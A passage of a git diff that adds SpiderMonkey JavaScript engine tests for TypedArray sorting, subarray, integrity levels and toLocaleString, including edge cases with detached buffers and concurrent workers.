+ // All elements have been set to zero.
+ let zero = toNumeric(0);
+ for (let i = 0; i < size; ++i) {
+ assertEq(ta[i], zero, `${TA.name} at index ${i} for size ${size}`);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_modifications_concurrent_radixsort.js b/js/src/tests/non262/TypedArray/sort_modifications_concurrent_radixsort.js
new file mode 100644
index 0000000000..c6de0f1ece
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_modifications_concurrent_radixsort.js
@@ -0,0 +1,116 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+if (helperThreadCount() === 0) {
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ quit();
+}
+
+// TypedArray constructors which can use radix sort.
+const TAConstructors = [
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+];
+
+// Use a large enough size to ensure concurrent accesses can be detected.
+const size = 0x4000;
+
+function ToAtomicTA(TA) {
+ switch (TA) {
+ case Int16Array:
+ case Int32Array:
+ case Uint16Array:
+ case Uint32Array:
+ return TA;
+ case Float32Array:
+ return Uint32Array;
+ }
+ throw new Error("Invalid typed array kind");
+}
+
+function ascending(a, b) {
+ return a < b ? -1 : a > b ? 1 : 0;
+}
+
+function descending(a, b) {
+ return -ascending(a, b);
+}
+
+for (let TA of TAConstructors) {
+ let sorted = new TA(size);
+
+ // Fill with |1..size| and then sort to account for wrap-arounds.
+ for (let i = 0; i < size; ++i) {
+ sorted[i] = i + 1;
+ }
+ sorted.sort();
+
+ let extra = Math.max(TA.BYTES_PER_ELEMENT, Int32Array.BYTES_PER_ELEMENT);
+ let buffer = new SharedArrayBuffer(size * TA.BYTES_PER_ELEMENT + extra);
+ let controller = new Int32Array(buffer, 0, 1);
+
+ // Create a copy in descending order.
+ let ta = new TA(buffer, extra, size);
+ ta.set(sorted)
+ ta.sort(descending);
+
+ // Worker code expects that the last element changes when sorted.
+ assertEq(ta[size - 1] === sorted[size - 1], false);
+
+ setSharedObject(buffer);
+
+ evalInWorker(`
+ const ToAtomicTA = ${ToAtomicTA};
+ const TA = ${TA.name};
+ const AtomicTA = ToAtomicTA(TA);
+
+ let size = ${size};
+ let extra = ${extra};
+
+ let buffer = getSharedObject();
+ let controller = new Int32Array(buffer, 0, 1);
+ let ta = new AtomicTA(buffer, extra, size);
+
+ let value = Atomics.load(ta, size - 1);
+
+ // Coordinate with main thread.
+ while (Atomics.notify(controller, 0, 1) < 1) ;
+
+ // Wait until modification of the last element.
+ //
+ // Sorting writes in ascending indexed ordered, so when the last element
+ // was modified, we know that the sort operation has finished.
+ while (Atomics.load(ta, size - 1) === value) ;
+
+ // Set all elements to zero.
+ ta.fill(0);
+
+ // Sleep for 50 ms.
+ const amount = 0.05;
+
+ // Coordinate with main thread.
+ while (Atomics.notify(controller, 0, 1) < 1) {
+ sleep(amount);
+ }
+ `);
+
+ // Wait until worker is set-up.
+ assertEq(Atomics.wait(controller, 0, 0), "ok");
+
+ // Sort the array in ascending order.
+ ta.sort();
+
+ // Wait until worker has finished.
+ assertEq(Atomics.wait(controller, 0, 0), "ok");
+
+ // All elements have been set to zero.
+ for (let i = 0; i < size; ++i) {
+ assertEq(ta[i], 0, `${TA.name} at index ${i} for size ${size}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_small.js b/js/src/tests/non262/TypedArray/sort_small.js
new file mode 100644
index 0000000000..22f9dc69a6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_small.js
@@ -0,0 +1,38 @@
+const testCases = {
+ // Pre-sorted test data, it's important that these arrays remain in ascending order.
+ [Int8Array.name]: [[-128, 127]],
+ [Int16Array.name]: [[-32768, -999, 1942, 32767]],
+ [Int32Array.name]: [[-2147483648, -320000, -244000, 2147483647]],
+ [Uint8Array.name]: [[255]],
+ [Uint16Array.name]: [[0, 65535, 65535]],
+ [Uint32Array.name]: [[0, 987632, 4294967295]],
+ [Uint8ClampedArray.name]: [[255]],
+
+ // Test the behavior in the default comparator as described in 22.2.3.26.
+ // The spec boils down to, -0s come before +0s, and NaNs always come last.
+ // Float Arrays are used because all other types convert -0 and NaN to +0.
+ [Float32Array.name]: [
+ [-2147483647, -2147483646.99, -0, 0, 2147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+ [Float64Array.name]: [
+ [-2147483646.99, -0, 0, 4147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+};
+
+// Sort every possible permutation of an arrays
+function sortAllPermutations(dataType, testData) {
+ let reference = new dataType(testData);
+ for (let permutation of Permutations(testData))
+ assertDeepEq((new dataType(permutation)).sort(), reference);
+}
+
+for (let constructor of sharedTypedArrayConstructors) {
+ for (let data of testCases[constructor.name]) {
+ sortAllPermutations(constructor, data);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_snans.js b/js/src/tests/non262/TypedArray/sort_snans.js
new file mode 100644
index 0000000000..50f99b2205
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_snans.js
@@ -0,0 +1,79 @@
+// Ensure that signaling NaN's don't cause problems while sorting
+
+function getNaNArray(length) {
+ let a = [];
+ for (let i = 0; i < length; i++)
+ a.push(NaN);
+ return a;
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and start/stop should be 32-bit integers with bit patterns that
+// form Float32 NaNs.
+function testFloat32NaNRanges(start, end) {
+ let skipN = 10e3;
+
+ // sample the space of possible NaNs to save time
+ let sampleSize = Math.floor((end - start)/ skipN);
+
+ let NaNArray = new Float32Array(getNaNArray(sampleSize));
+ let buffer = new ArrayBuffer(4 * sampleSize);
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float32Array(buffer);
+
+ uintView[0] = start;
+ for (let i = 1; i < sampleSize; i++) {
+ uintView[i] = uintView[0] + (i * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and startHi, startLow and endHi, endLow should be 32-bit integers which,
+// when combined (Hi + Low), form Float64 NaNs.
+function testFloat64NaNRanges(startHi, startLow, endHi, endLow) {
+
+ // Swap on big endian platforms
+ if (new Uint32Array(new Uint8Array([1,2,3,4]).buffer)[0] === 0x01020304) {
+ [startHi, startLow] = [startLow, startHi];
+ [endHi, endLow] = [endLow, endHi];
+ }
+
+ let skipN = 10e6;
+
+ let sampleSizeHi = Math.floor((endHi - startHi)/skipN);
+ let sampleSizeLow = Math.floor((endLow - startLow)/skipN);
+
+ let NaNArray = new Float64Array(getNaNArray(sampleSizeHi + sampleSizeLow));
+ let buffer = new ArrayBuffer(8 * (sampleSizeHi + sampleSizeLow));
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float64Array(buffer);
+
+ // Fill in all of the low bits first.
+ for (let i = 0; i <= sampleSizeLow; i++) {
+ uintView[i * 2] = startLow + (i * skipN);
+ uintView[(i * 2) + 1] = startHi;
+ }
+
+ // Then the high bits.
+ for (let i = sampleSizeLow; i <= sampleSizeLow + sampleSizeHi; i++) {
+ uintView[i * 2] = endLow;
+ uintView[(i * 2) + 1] = startHi + ((i - sampleSizeLow) * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Float32 Signaling NaN ranges
+testFloat32NaNRanges(0x7F800001, 0x7FBFFFFF);
+testFloat32NaNRanges(0xFF800001, 0xFFBFFFFF);
+
+// Float64 Signaling NaN ranges
+testFloat64NaNRanges(0x7FF00000, 0x00000001, 0x7FF7FFFF, 0xFFFFFFFF);
+testFloat64NaNRanges(0xFFF00000, 0x00000001, 0xFFF7FFFF, 0xFFFFFFFF);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_sorted.js b/js/src/tests/non262/TypedArray/sort_sorted.js
new file mode 100644
index 0000000000..cb55ec3399
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_sorted.js
@@ -0,0 +1,30 @@
+function SortedAscending(length) {
+ var array = new Int32Array(length);
+ for (var i = 0; i < length; ++i)
+ array[i] = i + 1;
+
+ array.sort((x, y) => x - y);
+
+ for (var i = 0; i < length; ++i)
+ assertEq(i + 1, array[i], `Mismatch at index=${i}, length=${length}`);
+}
+
+for (var i = 0; i < 256; ++i)
+ SortedAscending(i);
+
+function SortedDescending(length) {
+ var array = new Int32Array(length);
+ for (var i = 0; i < length; ++i)
+ array[i] = length - i;
+
+ array.sort((x, y) => x - y);
+
+ for (var i = 0; i < length; ++i)
+ assertEq(i + 1, array[i], `Mismatch at index=${i}, length=${length}`);
+}
+
+for (var i = 0; i < 256; ++i)
+ SortedDescending(i);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_stable.js b/js/src/tests/non262/TypedArray/sort_stable.js
new file mode 100644
index 0000000000..d945e774c1
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_stable.js
@@ -0,0 +1,23 @@
+// Test with different lengths to cover the case when InsertionSort is resp.
+// is not called.
+for (let i = 2; i <= 10; ++i) {
+ let length = 2 ** i;
+ let ta = new Int8Array(length);
+
+ ta[0] = 2;
+ ta[1] = 1;
+ ta[2] = 0;
+
+ for (let i = 3; i < length; ++i) {
+ ta[i] = 4;
+ }
+
+ ta.sort((a, b) => (a/4|0) - (b/4|0));
+
+ assertEq(ta[0], 2);
+ assertEq(ta[1], 1);
+ assertEq(ta[2], 0);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sorting_buffer_access.js b/js/src/tests/non262/TypedArray/sorting_buffer_access.js
new file mode 100644
index 0000000000..c31f4ca167
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sorting_buffer_access.js
@@ -0,0 +1,15 @@
+// Ensure that when sorting arrays of size greater than 128, which
+// calls RadixSort under the hood, we don't access the 'buffer'
+// property of the typed array directly.
+
+
+// The buggy behavior in the RadixSort is only exposed when we use
+// float arrays, but checking everything just to be sure.
+for (var ctor of anyTypedArrayConstructors) {
+ var testArray = new ctor(1024);
+ Object.defineProperty(testArray, "buffer", { get() { throw new Error("FAIL: Buffer accessed directly"); } });
+ testArray.sort();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/subarray-species.js b/js/src/tests/non262/TypedArray/subarray-species.js
new file mode 100644
index 0000000000..91c34e80cc
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray-species.js
@@ -0,0 +1,63 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[3, 4], begin=2, end=4) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.subarray(begin, end), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.subarray(begin, end), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFD, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-3, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFD, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-3, -4]);
+
+// different size
+
+// To avoid handling endian, use ArrayBuffer as an argument.
+var a = new Int8Array([0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0,
+ 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
+ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
+ 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x0F]);
+
+test(Uint8Array, Uint16Array, a.buffer, a.slice(2, 6).buffer);
+test(Uint16Array, Uint8Array, a.buffer, a.slice(4, 6).buffer);
+
+test(Uint8Array, Uint32Array, a.buffer, a.slice(4, 12).buffer, 4, 6);
+test(Uint32Array, Uint8Array, a.buffer, a.slice(8, 10).buffer);
+
+test(Uint16Array, Uint32Array, a.buffer, a.slice(4, 12).buffer);
+test(Uint32Array, Uint16Array, a.buffer, a.slice(8, 12).buffer);
+
+test(Float32Array, Float64Array, a.buffer, a.slice(8, 24).buffer);
+test(Float64Array, Float32Array, a.buffer, a.slice(16, 24).buffer);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/TypedArray/subarray-validation.js b/js/src/tests/non262/TypedArray/subarray-validation.js
new file mode 100644
index 0000000000..4ad8c86095
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray-validation.js
@@ -0,0 +1,117 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.subarray.
+
+const otherGlobal = newGlobal({newCompartment: true});
+const typedArrayLengths = [0, 1, 1024];
+
+// Note: subarray uses CallTypedArrayMethodIfWrapped, which results in throwing
+// a TypeError from the wrong Realm if cross-compartment. The browser
+// runner doesn't support the "newCompartment" option, so it can't create
+// cross-compartment globals, which means it throws the error from the
+// correct Realm.
+const eitherGlobalTypeError = {
+ [Symbol.hasInstance](obj) {
+ return obj instanceof TypeError || obj instanceof otherGlobal.TypeError;
+ }
+};
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.subarray,
+ error: eitherGlobalTypeError,
+ });
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ // Note: TypedArray |a| is (currently) created in this global, not
+ // |otherGlobal|, because a typed array and its buffer must
+ // use the same compartment.
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/subarray.js b/js/src/tests/non262/TypedArray/subarray.js
new file mode 100644
index 0000000000..a7bfab0efd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray.js
@@ -0,0 +1,29 @@
+// Bug 1291003
+if (typeof detachArrayBuffer === "function") {
+ for (let constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+
+ let targetOffset;
+ let buffer = new ArrayBuffer(2 * elementSize);
+ let typedArray = new constructor(buffer, 1 * elementSize, 1);
+ typedArray.constructor = {
+ [Symbol.species]: function(ab, offset, length) {
+ targetOffset = offset;
+ return new constructor(1);
+ }
+ };
+
+ let beginIndex = {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ };
+ typedArray.subarray(beginIndex);
+
+ assertEq(targetOffset, 1 * elementSize);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/test-integrity-level-detached.js b/js/src/tests/non262/TypedArray/test-integrity-level-detached.js
new file mode 100644
index 0000000000..68f772de61
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/test-integrity-level-detached.js
@@ -0,0 +1,104 @@
+const EMPTY = 0;
+const INLINE_STORAGE = 10;
+const NON_INLINE_STORAGE = 1024;
+
+class DetachedInt32Array extends Int32Array {
+ constructor(...args) {
+ super(...args);
+ detachArrayBuffer(this.buffer);
+ }
+}
+
+function throwsTypeError(fn) {
+ try {
+ fn();
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ return true;
+ }
+ return false;
+}
+
+// Non-standard: Accessing elements of detached array buffers should throw, but
+// this is currently not implemented.
+const ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS = (() => {
+ let ta = new DetachedInt32Array(10);
+ let throws = throwsTypeError(() => ta[0]);
+ // Ensure [[Get]] and [[GetOwnProperty]] return consistent results.
+ assertEq(throwsTypeError(() => Object.getOwnPropertyDescriptor(ta, 0)), throws);
+ return throws;
+})();
+
+function maybeThrowOnDetached(fn, returnValue) {
+ if (ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS) {
+ assertThrowsInstanceOf(fn, TypeError);
+ return returnValue;
+ }
+ return fn();
+}
+
+// Empty typed arrays can be sealed.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays can be sealed, but calling TestIntegrityLevel will
+// throw on detached typed arrays.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+// Empty typed arrays can be frozen.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.freeze(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ maybeThrowOnDetached(() => Object.freeze(ta));
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+// Non-extensible empty typed arrays are sealed and frozen.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Calling TestIntegrityLevel will throw on detached typed arrays with non-zero
+// length.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/test-integrity-level.js b/js/src/tests/non262/TypedArray/test-integrity-level.js
new file mode 100644
index 0000000000..c382b4967c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/test-integrity-level.js
@@ -0,0 +1,67 @@
+const EMPTY = 0;
+const INLINE_STORAGE = 10;
+const NON_INLINE_STORAGE = 1024;
+
+// Empty typed arrays can be sealed.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be sealed.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ assertThrowsInstanceOf(() => Object.seal(ta), TypeError);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+// Empty typed arrays can be frozen.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.freeze(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ assertThrowsInstanceOf(() => Object.freeze(ta), TypeError);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+// Non-extensible empty typed arrays are sealed and frozen.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-extensible non-empty typed arrays are neither sealed nor frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString-detached.js b/js/src/tests/non262/TypedArray/toLocaleString-detached.js
new file mode 100644
index 0000000000..fe95ae689c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString-detached.js
@@ -0,0 +1,38 @@
+if (typeof detachArrayBuffer === "function") {
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Throws if array buffer is detached.
+ for (let constructor of typedArrayConstructors) {
+ let typedArray = new constructor(42);
+ detachArrayBuffer(typedArray.buffer);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ }
+
+ // Throws a TypeError if detached in Number.prototype.toLocaleString.
+ for (let constructor of typedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ if (!detached) {
+ detachArrayBuffer(typedArray.buffer);
+ detached = true;
+ }
+ return this;
+ };
+
+ // No error for single element arrays.
+ let detached = false;
+ let typedArray = new constructor(1);
+ assertEq(typedArray.toLocaleString(), "0");
+ assertEq(detached, true);
+
+ // TypeError if more than one element is present.
+ detached = false;
+ typedArray = new constructor(2);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ assertEq(detached, true);
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString-nointl.js b/js/src/tests/non262/TypedArray/toLocaleString-nointl.js
new file mode 100644
index 0000000000..f2870efbe6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString-nointl.js
@@ -0,0 +1,40 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Ensure no arguments are passed to the array elements.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString.js b/js/src/tests/non262/TypedArray/toLocaleString.js
new file mode 100644
index 0000000000..78049ec225
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString.js
@@ -0,0 +1,80 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toLocaleString" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toLocaleString"), true);
+assertEq(typeof TypedArrayPrototype.toLocaleString, "function");
+
+// The initial value of %TypedArrayPrototype%.toLocaleString is not Array.prototype.toLocaleString.
+assertEq(TypedArrayPrototype.toLocaleString === Array.prototype.toLocaleString, false);
+
+// The concrete TypedArray prototypes do not have an own "toLocaleString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toLocaleString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toLocaleString"), {
+ value: TypedArrayPrototype.toLocaleString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.toLocaleString.name, "toLocaleString");
+assertEq(TypedArrayPrototype.toLocaleString.length, 0);
+
+// It's not a generic method.
+assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(), TypeError);
+for (let invalid of [void 0, null, {}, [], function(){}, true, 0, "", Symbol()]) {
+ assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(invalid), TypeError);
+}
+
+const localeOne = 1..toLocaleString(),
+ localeTwo = 2..toLocaleString(),
+ localeSep = [,,].toLocaleString();
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toLocaleString(), "");
+ assertEq(new constructor([1]).toLocaleString(), localeOne);
+ assertEq(new constructor([1, 2]).toLocaleString(), localeOne + localeSep + localeTwo);
+}
+
+const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+// Calls Number.prototype.toLocaleString on each element.
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+
+ // Ensure this-value is not boxed.
+ assertEq(typeof this, "number");
+
+ // Test ToString is applied.
+ return {
+ valueOf: () => {
+ throw new Error("valueOf called");
+ },
+ toString: () => {
+ return this + 10;
+ }
+ };
+ };
+ let typedArray = new constructor([1, 2]);
+ assertEq(typedArray.toLocaleString(), "11" + localeSep + "12");
+}
+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+// Calls Number.prototype.toLocaleString from the current Realm.
+const otherGlobal = newGlobal();
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ called = true;
+ return this;
+ };
+ let typedArray = new otherGlobal[constructor.name]([1]);
+ let called = false;
+ assertEq(TypedArrayPrototype.toLocaleString.call(typedArray), "1");
+ assertEq(called, true);
+}
